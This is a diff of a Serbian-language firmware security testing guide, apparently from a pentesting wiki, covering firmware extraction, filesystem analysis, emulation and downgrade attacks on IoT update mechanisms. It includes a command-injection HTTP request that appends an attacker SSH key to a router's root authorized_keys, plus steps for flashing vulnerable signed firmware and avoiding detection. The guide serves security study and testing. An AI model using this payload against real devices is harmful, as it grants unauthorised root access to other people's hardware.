- Direktnim pristupom **cloud storage**, sa alatima poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||||
- Presretanjem **ažuriranja** putem tehnika man-in-the-middle
|
- Presretanjem **updates** putem man-in-the-middle tehnika
|
||||||
- **Ekstrakcijom** sa uređaja putem konekcija kao što su **UART**, **JTAG**, ili **PICit**
|
- **Ekstrakcijom** sa uređaja putem konekcija kao što su **UART**, **JTAG**, ili **PICit**
|
||||||
- **Sniffing** za zahteve za ažuriranje unutar komunikacije uređaja
|
- **Snimanjem** update zahteva u komunikaciji uređaja
|
||||||
- Identifikovanjem i korišćenjem **hardkodiranih krajnjih tačaka za ažuriranje**
|
- Pronalaženjem i korišćenjem **hardcoded update endpoints**
|
||||||
- **Dumping** sa bootloader-a ili mreže
|
- **Dump-ovanjem** iz bootloader-a ili mreže
|
||||||
- **Uklanjanjem i čitanjem** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
- **Uklanjanjem i očitavanjem** čipa za skladištenje, kada sve ostalo zakaže, koristeći odgovarajuće hardverske alate
|
||||||
|
|
||||||
## Analiza firmvera
|
## Analiza firmvera
|
||||||
|
|
||||||
Sada kada **imate firmver**, potrebno je da izvučete informacije o njemu kako biste znali kako da ga obradite. Različiti alati koje možete koristiti za to:
|
Sada kada **imate firmver**, potrebno je izvući informacije o njemu da biste znali kako da ga tretirate. Različiti alati koje možete koristiti za to:
|
||||||
```bash
|
```bash
|
||||||
file <bin>
|
file <bin>
|
||||||
strings -n8 <bin>
|
strings -n8 <bin>
|
||||||
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||||||
hexdump -C <bin> | head # might find signatures in header
|
hexdump -C <bin> | head # might find signatures in header
|
||||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||||
```
|
```
|
||||||
Ako ne pronađete mnogo sa tim alatima, proverite **entropiju** slike sa `binwalk -E <bin>`, ako je entropija niska, verovatno nije enkriptovana. Ako je entropija visoka, verovatno je enkriptovana (ili kompresovana na neki način).
|
Ako ne nađete mnogo rezultata tim alatima, proverite **entropy** image-a sa `binwalk -E <bin>`; ako je entropy nizak, verovatno nije encrypted. Ako je entropy visok, verovatno je encrypted (ili na neki način compressed).
|
||||||
|
|
||||||
|
Pored toga, ove alate možete koristiti za ekstrakciju **files embedded inside the firmware**:
|
||||||
|
|
||||||
Pored toga, možete koristiti ove alate za ekstrakciju **datoteka ugrađenih unutar firmvera**:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Ili [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) za inspekciju datoteke.
|
Ili [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) za pregled fajla.
|
||||||
|
|
||||||
### Dobijanje Datotečnog Sistema
|
### Dobijanje filesystem-a
|
||||||
|
|
||||||
Sa prethodno pomenutim alatima kao što je `binwalk -ev <bin>`, trebali ste biti u mogućnosti da **izvučete datotečni sistem**.\
|
Korišćenjem prethodno pomenutih alata kao što je `binwalk -ev <bin>` trebalo bi da budete u mogućnosti da **extract the filesystem**.\
|
||||||
Binwalk obično izvlači unutar **foldera nazvanog po tipu datotečnog sistema**, koji obično može biti jedan od sledećih: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
Binwalk obično izdvaja sadržaj u **folder nazvan po tipu filesystem-a**, koji obično bude jedan od sledećih: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||||
|
|
||||||
#### Ručna Ekstrakcija Datotečnog Sistema
|
#### Ručna ekstrakcija filesystem-a
|
||||||
|
|
||||||
Ponekad, binwalk neće **imati magični bajt datotečnog sistema u svojim potpisima**. U tim slučajevima, koristite binwalk da **pronađete offset datotečnog sistema i izrezujete kompresovani datotečni sistem** iz binarnog fajla i **ručno ekstraktujete** datotečni sistem prema njegovom tipu koristeći sledeće korake.
|
Ponekad binwalk neće imati **magic byte of the filesystem in its signatures**. U tim slučajevima, koristite binwalk da **find the offset of the filesystem and carve the compressed filesystem** iz binarne datoteke i **manually extract** filesystem prema njegovom tipu koristeći korake ispod.
|
||||||
```
|
```
|
||||||
$ binwalk DIR850L_REVB.bin
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||||
```
|
```
|
||||||
Pokrenite sledeću **dd komandu** za izdvajanje Squashfs datotečnog sistema.
|
Pokrenite sledeću **dd command** koja vrši carving Squashfs filesystem-a.
|
||||||
```
|
```
|
||||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
|
||||||
@ -97,33 +104,33 @@ Alternativno, sledeća komanda se takođe može izvršiti.
|
|||||||
|
|
||||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||||
|
|
||||||
- Za squashfs (koristi se u gornjem primeru)
|
- Za squashfs (korišćen u primeru iznad)
|
||||||
|
|
||||||
`$ unsquashfs dir.squashfs`
|
`$ unsquashfs dir.squashfs`
|
||||||
|
|
||||||
Fajlovi će biti u "`squashfs-root`" direktorijumu nakon toga.
|
Fajlovi će se nalaziti u direktorijumu `squashfs-root` nakon toga.
|
||||||
|
|
||||||
- CPIO arhivski fajlovi
|
- CPIO arhive
|
||||||
|
|
||||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||||
|
|
||||||
- Za jffs2 fajl sisteme
|
- Za jffs2 datotečne sisteme
|
||||||
|
|
||||||
`$ jefferson rootfsfile.jffs2`
|
`$ jefferson rootfsfile.jffs2`
|
||||||
|
|
||||||
- Za ubifs fajl sisteme sa NAND flešom
|
- Za ubifs datotečne sisteme sa NAND flash-om
|
||||||
|
|
||||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||||
|
|
||||||
`$ ubidump.py <bin>`
|
`$ ubidump.py <bin>`
|
||||||
|
|
||||||
## Analiza Firmvera
|
## Analiza firmvera
|
||||||
|
|
||||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje raznih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
Kada se firmware dobije, važno ga je rastaviti kako bi se razumela njegova struktura i potencijalne ranjivosti. Ovaj proces podrazumeva korišćenje raznih alata za analizu i ekstrakciju korisnih podataka iz firmware image-a.
|
||||||
|
|
||||||
### Alati za Početnu Analizu
|
### Početni alati za analizu
|
||||||
|
|
||||||
Set komandi je obezbeđen za početnu inspekciju binarnog fajla (naziva se `<bin>`). Ove komande pomažu u identifikaciji tipova fajlova, ekstrakciji stringova, analizi binarnih podataka i razumevanju detalja particija i fajl sistema:
|
Daje se skup komandi za početni pregled binarnog fajla (označenog kao `<bin>`). Ove komande pomažu u identifikaciji tipova fajlova, izdvajanja stringova, analizi binarnih podataka i razumevanju particija i detalja fajl-sistema:
|
||||||
```bash
|
```bash
|
||||||
file <bin>
|
file <bin>
|
||||||
strings -n8 <bin>
|
strings -n8 <bin>
|
||||||
@ -132,137 +139,137 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||||
```
|
```
|
||||||
Da bi se procenio status enkripcije slike, **entropija** se proverava sa `binwalk -E <bin>`. Niska entropija sugeriše nedostatak enkripcije, dok visoka entropija ukazuje na moguću enkripciju ili kompresiju.
|
Da bi se procenio status enkripcije image-a, proverava se **entropija** pomoću `binwalk -E <bin>`. Niska entropija ukazuje na odsustvo enkripcije, dok visoka entropija sugeriše moguću enkripciju ili kompresiju.
|
||||||
|
|
||||||
Za ekstrakciju **ugrađenih fajlova**, preporučuju se alati i resursi kao što su dokumentacija **file-data-carving-recovery-tools** i **binvis.io** za inspekciju fajlova.
|
Za izdvajanje **ugrađenih fajlova**, preporučuju se alati i resursi kao što su dokumentacija **file-data-carving-recovery-tools** i **binvis.io** za inspekciju fajlova.
|
||||||
|
|
||||||
### Ekstrakcija Fajl Sistema
|
### Izdvajanje datotečnog sistema
|
||||||
|
|
||||||
Korišćenjem `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bytes, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje ofseta fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
Korišćenjem `binwalk -ev <bin>` obično se može izdvojiti datotečni sistem, često u direktorijum nazvan prema tipu datotečnog sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne uspe da prepozna tip datotečnog sistema zbog nedostajućih magic bytes, neophodno je ručno izdvajanje. To podrazumeva korišćenje `binwalk` za pronalaženje offseta datotečnog sistema, a zatim komande `dd` za izdvajanje datotečnog sistema:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk DIR850L_REVB.bin
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
```
|
```
|
||||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno ekstraktovanje sadržaja.
|
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr. squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno izdvajanje sadržaja.
|
||||||
|
|
||||||
### Analiza Datotečnog Sistema
|
### Analiza datotečnog sistema
|
||||||
|
|
||||||
Sa ekstraktovanim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
Kada je datotečni sistem izdvojen, započinje potraga za sigurnosnim propustima. Obratite pažnju na nesigurne mrežne daemone, hardkodovane kredencijale, API endpoints, funkcionalnosti update servera, nekompajlirani kod, startup scripts i kompajlirane binarne fajlove za offline analizu.
|
||||||
|
|
||||||
**Ključne lokacije** i **stavke** koje treba pregledati uključuju:
|
**Ključne lokacije** i **stavke** koje treba pregledati uključuju:
|
||||||
|
|
||||||
- **etc/shadow** i **etc/passwd** za korisničke akreditive
|
- **etc/shadow** i **etc/passwd** za korisničke kredencijale
|
||||||
- SSL sertifikate i ključeve u **etc/ssl**
|
- SSL sertifikati i ključevi u **etc/ssl**
|
||||||
- Konfiguracione i skript datoteke za potencijalne ranjivosti
|
- Konfiguracioni i skript fajlovi za potencijalne ranjivosti
|
||||||
- Ugrađene binarne datoteke za dalju analizu
|
- Ugrađeni binarni fajlovi za dalju analizu
|
||||||
- Uobičajene web servere i binarne datoteke IoT uređaja
|
- Uobičajeni IoT device web serveri i binarni fajlovi
|
||||||
|
|
||||||
Nekoliko alata pomaže u otkrivanju osetljivih informacija i ranjivosti unutar datotečnog sistema:
|
Nekoliko alata pomaže u otkrivanju osetljivih informacija i ranjivosti unutar datotečnog sistema:
|
||||||
|
|
||||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
||||||
- [**Alat za analizu i poređenje firmvera (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
||||||
|
|
||||||
### Provere Bezbednosti na Kompajliranim Binarima
|
### Sigurnosne provere kompajliranih binarnih fajlova
|
||||||
|
|
||||||
I izvorni kod i kompajlirane binarne datoteke pronađene u datotečnom sistemu moraju se pažljivo pregledati zbog ranjivosti. Alati poput **checksec.sh** za Unix binarne datoteke i **PESecurity** za Windows binarne datoteke pomažu u identifikaciji nezaštićenih binarnih datoteka koje bi mogle biti iskorišćene.
|
I izvorni kod i kompajlirani binarni fajlovi pronađeni u datotečnom sistemu moraju biti pažljivo pregledani zbog ranjivosti. Alati poput **checksec.sh** za Unix binarne i **PESecurity** za Windows binarne pomažu u identifikaciji nezaštićenih binarnih fajlova koji bi mogli biti iskorišćeni.
|
||||||
|
|
||||||
## Emulacija Firmvera za Dinamičku Analizu
|
## Emulacija firmvera za dinamičku analizu
|
||||||
|
|
||||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima hardvera ili arhitekture, ali prebacivanje root datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
Proces emulacije firmvera omogućava **dynamic analysis** rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na probleme zbog hardverskih ili arhitektonskih zavisnosti, ali prebacivanje root datotečnog sistema ili specifičnih binarnih fajlova na uređaj sa odgovarajućom arhitekturom i redosledom bajtova (endianness), kao što je Raspberry Pi, ili na unapred pripremljenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||||
|
|
||||||
### Emulacija Pojedinačnih Binarnih Datoteka
|
### Emulacija pojedinačnih binarnih fajlova
|
||||||
|
|
||||||
Za ispitivanje pojedinačnih programa, identifikacija redosleda bajtova programa i CPU arhitekture je ključna.
|
Za ispitivanje pojedinačnih programa, ključno je identifikovati redosled bajtova (endianness) programa i CPU arhitekturu.
|
||||||
|
|
||||||
#### Primer sa MIPS Arhitekturom
|
#### Primer za MIPS arhitekturu
|
||||||
|
|
||||||
Da bi se emulirala binarna datoteka MIPS arhitekture, može se koristiti komanda:
|
Za emulaciju MIPS arhitekture binarnog fajla može se koristiti komanda:
|
||||||
```bash
|
```bash
|
||||||
file ./squashfs-root/bin/busybox
|
file ./squashfs-root/bin/busybox
|
||||||
```
|
```
|
||||||
I da instalirate potrebne alate za emulaciju:
|
I da instalirate neophodne alate za emulaciju:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||||
```
|
```
|
||||||
Za MIPS (big-endian), koristi se `qemu-mips`, a za little-endian binarne datoteke, izbor bi bio `qemu-mipsel`.
|
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
|
||||||
|
|
||||||
#### Emulacija ARM arhitekture
|
#### Emulacija ARM arhitekture
|
||||||
|
|
||||||
Za ARM binarne datoteke, proces je sličan, koristeći emulator `qemu-arm` za emulaciju.
|
Za ARM binarne fajlove proces je sličan — za emulaciju se koristi emulator `qemu-arm`.
|
||||||
|
|
||||||
### Emulacija celog sistema
|
### Emulacija celog sistema
|
||||||
|
|
||||||
Alati kao što su [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) i drugi, olakšavaju potpunu emulaciju firmvera, automatizujući proces i pomažući u dinamičkoj analizi.
|
Alati kao što su [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) i drugi olakšavaju potpunu emulaciju firmware-a, automatizuju proces i pomažu pri dinamičkoj analizi.
|
||||||
|
|
||||||
## Dinamička analiza u praksi
|
## Dinamička analiza u praksi
|
||||||
|
|
||||||
U ovoj fazi, koristi se stvarno ili emulirano okruženje uređaja za analizu. Ključno je održati pristup shell-u operativnom sistemu i datotečnom sistemu. Emulacija možda neće savršeno oponašati interakcije hardvera, što zahteva povremena ponovna pokretanja emulacije. Analiza treba da ponovo pregleda datotečni sistem, iskoristi izložene veb stranice i mrežne usluge, i istraži ranjivosti bootloader-a. Testovi integriteta firmvera su ključni za identifikaciju potencijalnih ranjivosti backdoor-a.
|
U ovoj fazi za analizu se koristi stvarno ili emulirano uređajno okruženje. Neophodno je zadržati pristup shell-u OS-a i filesystem-u. Emulacija možda neće savršeno oponašati interakcije sa hardverom, pa će povremeni restarti emulacije biti potrebni. Analiza bi trebalo da ponovo pregleda filesystem, iskoristi izložene web-stranice i mrežne servise, i istraži ranjivosti bootloader-a. Testovi integriteta firmware-a su ključni za otkrivanje potencijalnih backdoor ranjivosti.
|
||||||
|
|
||||||
## Tehnike analize u runtime-u
|
## Tehnike runtime analize
|
||||||
|
|
||||||
Analiza u runtime-u uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
Runtime analiza podrazumeva interakciju sa procesom ili binarnim fajlom u njegovom okruženju za izvršavanje, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje breakpoints-a i identifikovanje ranjivosti kroz fuzzing i druge tehnike.
|
||||||
|
|
||||||
## Eksploatacija binarnih datoteka i dokaz koncepta
|
## Binary Exploitation and Proof-of-Concept
|
||||||
|
|
||||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u jezicima nižeg nivoa. Zaštite u runtime-u binarnih datoteka u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u niskonivou jezicima. Binary runtime protections u embedded systems su retke, ali kada postoje, tehnike poput Return Oriented Programming (ROP) mogu biti neophodne.
|
||||||
|
|
||||||
## Pripremljeni operativni sistemi za analizu firmvera
|
## Pripremljeni operativni sistemi za analizu firmware-a
|
||||||
|
|
||||||
Operativni sistemi kao što su [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) pružaju unapred konfigurisana okruženja za testiranje bezbednosti firmvera, opremljena potrebnim alatima.
|
Operativni sistemi kao što su [AttifyOS](https://github.com/adi0x90/attifyos) i [EmbedOS](https://github.com/scriptingxss/EmbedOS) pružaju unapred konfigurisana okruženja za firmware security testing, opremljena potrebnim alatima.
|
||||||
|
|
||||||
## Pripremljeni OS-ovi za analizu firmvera
|
## Pripremljeni OS-ovi za analizu firmware-a
|
||||||
|
|
||||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena da vam pomogne u proceni bezbednosti i penetracionom testiranju uređaja Interneta stvari (IoT). Štedi vam mnogo vremena pružajući unapred konfigurisano okruženje sa svim potrebnim alatima.
|
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distro namenjen da pomogne pri security assessment i penetration testing Internet of Things (IoT) uređaja. Štedi vreme pružajući unapred konfigurisano okruženje sa svim neophodnim alatima.
|
||||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje bezbednosti ugrađenih sistema zasnovan na Ubuntu 18.04, unapred učitan sa alatima za testiranje bezbednosti firmvera.
|
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system zasnovan na Ubuntu 18.04, unapred opremljen alatima za firmware security testing.
|
||||||
|
|
||||||
## Napadi na smanjenje verzije firmvera i nesigurni mehanizmi ažuriranja
|
## Firmware downgrade napadi i nesigurni mehanizmi ažuriranja
|
||||||
|
|
||||||
Čak i kada dobavljač implementira provere kriptografskih potpisa za slike firmvera, **zaštita od povratka na stariju verziju (downgrade) se često izostavlja**. Kada boot- ili recovery-loader samo proverava potpis sa ugrađenim javnim ključem, ali ne upoređuje *verziju* (ili monotoni brojač) slike koja se flešuje, napadač može legitimno instalirati **stariji, ranjivi firmver koji i dalje ima važeći potpis** i tako ponovo uvesti zakrpljene ranjivosti.
|
Čak i kada proizvođač implementira kriptografske provere potpisa za firmware image-ove, **zaštita protiv version rollback (downgrade) često se izostavlja**. Ako boot- ili recovery-loader samo verifikuje potpis ugrađenim javnim ključem, ali ne upoređuje *verziju* (ili monotoni brojač) image-a koji se flash-uje, napadač može legitimno instalirati **stariji, ranjiv firmware koji i dalje nosi važeći potpis** i tako ponovo uneti ranjivosti koje su već bile ispravljene.
|
||||||
|
|
||||||
Tipični tok napada:
|
Tipični tok napada:
|
||||||
|
|
||||||
1. **Dobijanje starije potpisane slike**
|
1. **Obtain an older signed image**
|
||||||
* Preuzmite je sa javnog portala za preuzimanje dobavljača, CDN-a ili podrške.
|
* Preuzmite ga sa javnog download portala proizvođača, CDN-a ili stranice za podršku.
|
||||||
* Izvucite je iz pratećih mobilnih/desktop aplikacija (npr. unutar Android APK-a pod `assets/firmware/`).
|
* Ekstrahujte ga iz pratećih mobilnih/desktop aplikacija (npr. unutar Android APK-a pod `assets/firmware/`).
|
||||||
* Preuzmite je iz trećih strana kao što su VirusTotal, internet arhive, forumi itd.
|
* Preuzmite ga iz repozitorijuma trećih strana kao što su VirusTotal, internet arhive, forumi, itd.
|
||||||
2. **Otpremite ili poslužite sliku uređaju** putem bilo kojeg izloženog kanala za ažuriranje:
|
2. **Upload or serve the image to the device** via any exposed update channel:
|
||||||
* Web UI, API mobilne aplikacije, USB, TFTP, MQTT itd.
|
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
|
||||||
* Mnogi potrošački IoT uređaji izlažu *neautentifikovane* HTTP(S) krajnje tačke koje prihvataju Base64-encoded firmware blob-ove, dekodiraju ih na serveru i pokreću oporavak/upgrade.
|
* Mnogi consumer IoT uređaji izlažu *unauthenticated* HTTP(S) endpoint-e koji prihvataju Base64-encoded firmware blob-ove, dekodiraju ih server-side i pokreću recovery/upgrade.
|
||||||
3. Nakon smanjenja verzije, iskoristite ranjivost koja je zakrpljena u novijem izdanju (na primer, filter za injekciju komandi koji je dodat kasnije).
|
3. Nakon downgrade-a, iskoristite ranjivost koja je ispravljena u novijem izdanju (na primer filter za command-injection koji je dodat kasnije).
|
||||||
4. Opcionalno, ponovo flešujte najnoviju sliku ili onemogućite ažuriranja kako biste izbegli otkrivanje nakon što se postigne postojanost.
|
4. Opcionalno ponovo flash-ujte najnoviji image ili onemogućite update-e da biste izbegli otkrivanje nakon uspostavljanja persistencije.
|
||||||
|
|
||||||
### Primer: Injekcija komandi nakon smanjenja verzije
|
### Primer: Command Injection nakon downgrade-a
|
||||||
```http
|
```http
|
||||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||||
Host: 192.168.0.1
|
Host: 192.168.0.1
|
||||||
Content-Type: application/octet-stream
|
Content-Type: application/octet-stream
|
||||||
Content-Length: 0
|
Content-Length: 0
|
||||||
```
|
```
|
||||||
U ranjivoj (smanjenoj) firmver verziji, `md5` parametar se direktno dodaje u shell komandu bez sanitizacije, što omogućava injekciju proizvoljnih komandi (ovde – omogućavanje SSH pristupa kao root). Kasnije verzije firmvera su uvele osnovni filter za karaktere, ali odsustvo zaštite od smanjenja čini ispravku besmislenom.
|
U ranjivom (downgraded) firmveru, parametar `md5` se direktno ubacuje u shell komandu bez sanitizacije, što omogućava injekciju proizvoljnih komandi (ovde – omogućavanje SSH key-based root access). Kasnije verzije firmvera su uvele osnovni filter karaktera, ali nedostatak zaštite od downgrade čini tu ispravku neefikasnom.
|
||||||
|
|
||||||
### Ekstrakcija Firmvera Iz Mobilnih Aplikacija
|
### Ekstrakcija firmvera iz mobilnih aplikacija
|
||||||
|
|
||||||
Mnogi prodavci pakiraju pune slike firmvera unutar svojih pratećih mobilnih aplikacija kako bi aplikacija mogla ažurirati uređaj putem Bluetooth-a/Wi-Fi-a. Ovi paketi se obično čuvaju nešifrovani u APK/APEX-u pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati kao što su `apktool`, `ghidra`, ili čak običan `unzip` omogućavaju vam da preuzmete potpisane slike bez dodirivanja fizičkog hardvera.
|
Mnogi proizvođači uključuju pune firmware slike u svoje prateće mobilne aplikacije kako bi aplikacija mogla ažurirati uređaj preko Bluetooth/Wi‑Fi. Ti paketi se obično čuvaju nešifrovani u APK/APEX pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati poput `apktool`, `ghidra` ili čak običnog `unzip` omogućavaju vam da izvučete potpisane slike bez fizičkog pristupa hardveru.
|
||||||
```
|
```
|
||||||
$ apktool d vendor-app.apk -o vendor-app
|
$ apktool d vendor-app.apk -o vendor-app
|
||||||
$ ls vendor-app/assets/firmware
|
$ ls vendor-app/assets/firmware
|
||||||
firmware_v1.3.11.490_signed.bin
|
firmware_v1.3.11.490_signed.bin
|
||||||
```
|
```
|
||||||
### Checklist for Assessing Update Logic
|
### Kontrolna lista za procenu logike ažuriranja
|
||||||
|
|
||||||
* Da li je transport/ autentifikacija *update endpoint*-a adekvatno zaštićena (TLS + autentifikacija)?
|
* Da li je transport/autentifikacija *update endpoint*-a adekvatno zaštićena (TLS + autentifikacija)?
|
||||||
* Da li uređaj upoređuje **brojeve verzija** ili **monotonički anti-rollback brojač** pre nego što izvrši flash?
|
* Da li uređaj upoređuje **version numbers** ili **monotonic anti-rollback counter** pre flashing-a?
|
||||||
* Da li je slika verifikovana unutar sigurnog boot lanca (npr. potpisi provereni od strane ROM koda)?
|
* Da li se image verifikuje unutar secure boot chain (npr. signatures checked by ROM code)?
|
||||||
* Da li korisnički kod vrši dodatne provere (npr. dozvoljena mapa particija, broj modela)?
|
* Da li userland code izvodi dodatne sanity checks (npr. allowed partition map, model number)?
|
||||||
* Da li *delimični* ili *rezervni* tokovi ažuriranja ponovo koriste istu logiku validacije?
|
* Da li *partial* ili *backup* update tokovi ponovo koriste istu validation logic?
|
||||||
|
|
||||||
> 💡 Ako bilo šta od navedenog nedostaje, platforma je verovatno ranjiva na rollback napade.
|
> 💡 Ako bilo šta od navedenog nedostaje, platforma je verovatno ranjiva na rollback attacks.
|
||||||
|
|
||||||
## Vulnerable firmware to practice
|
## Ranjiv firmware za praksu
|
||||||
|
|
||||||
Da biste vežbali otkrivanje ranjivosti u firmveru, koristite sledeće ranjive firmver projekte kao polaznu tačku.
|
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
|
||||||
|
|
||||||
- OWASP IoTGoat
|
- OWASP IoTGoat
|
||||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||||
@ -277,13 +284,13 @@ Da biste vežbali otkrivanje ranjivosti u firmveru, koristite sledeće ranjive f
|
|||||||
- Damn Vulnerable IoT Device (DVID)
|
- Damn Vulnerable IoT Device (DVID)
|
||||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||||
|
|
||||||
## References
|
## Reference
|
||||||
|
|
||||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
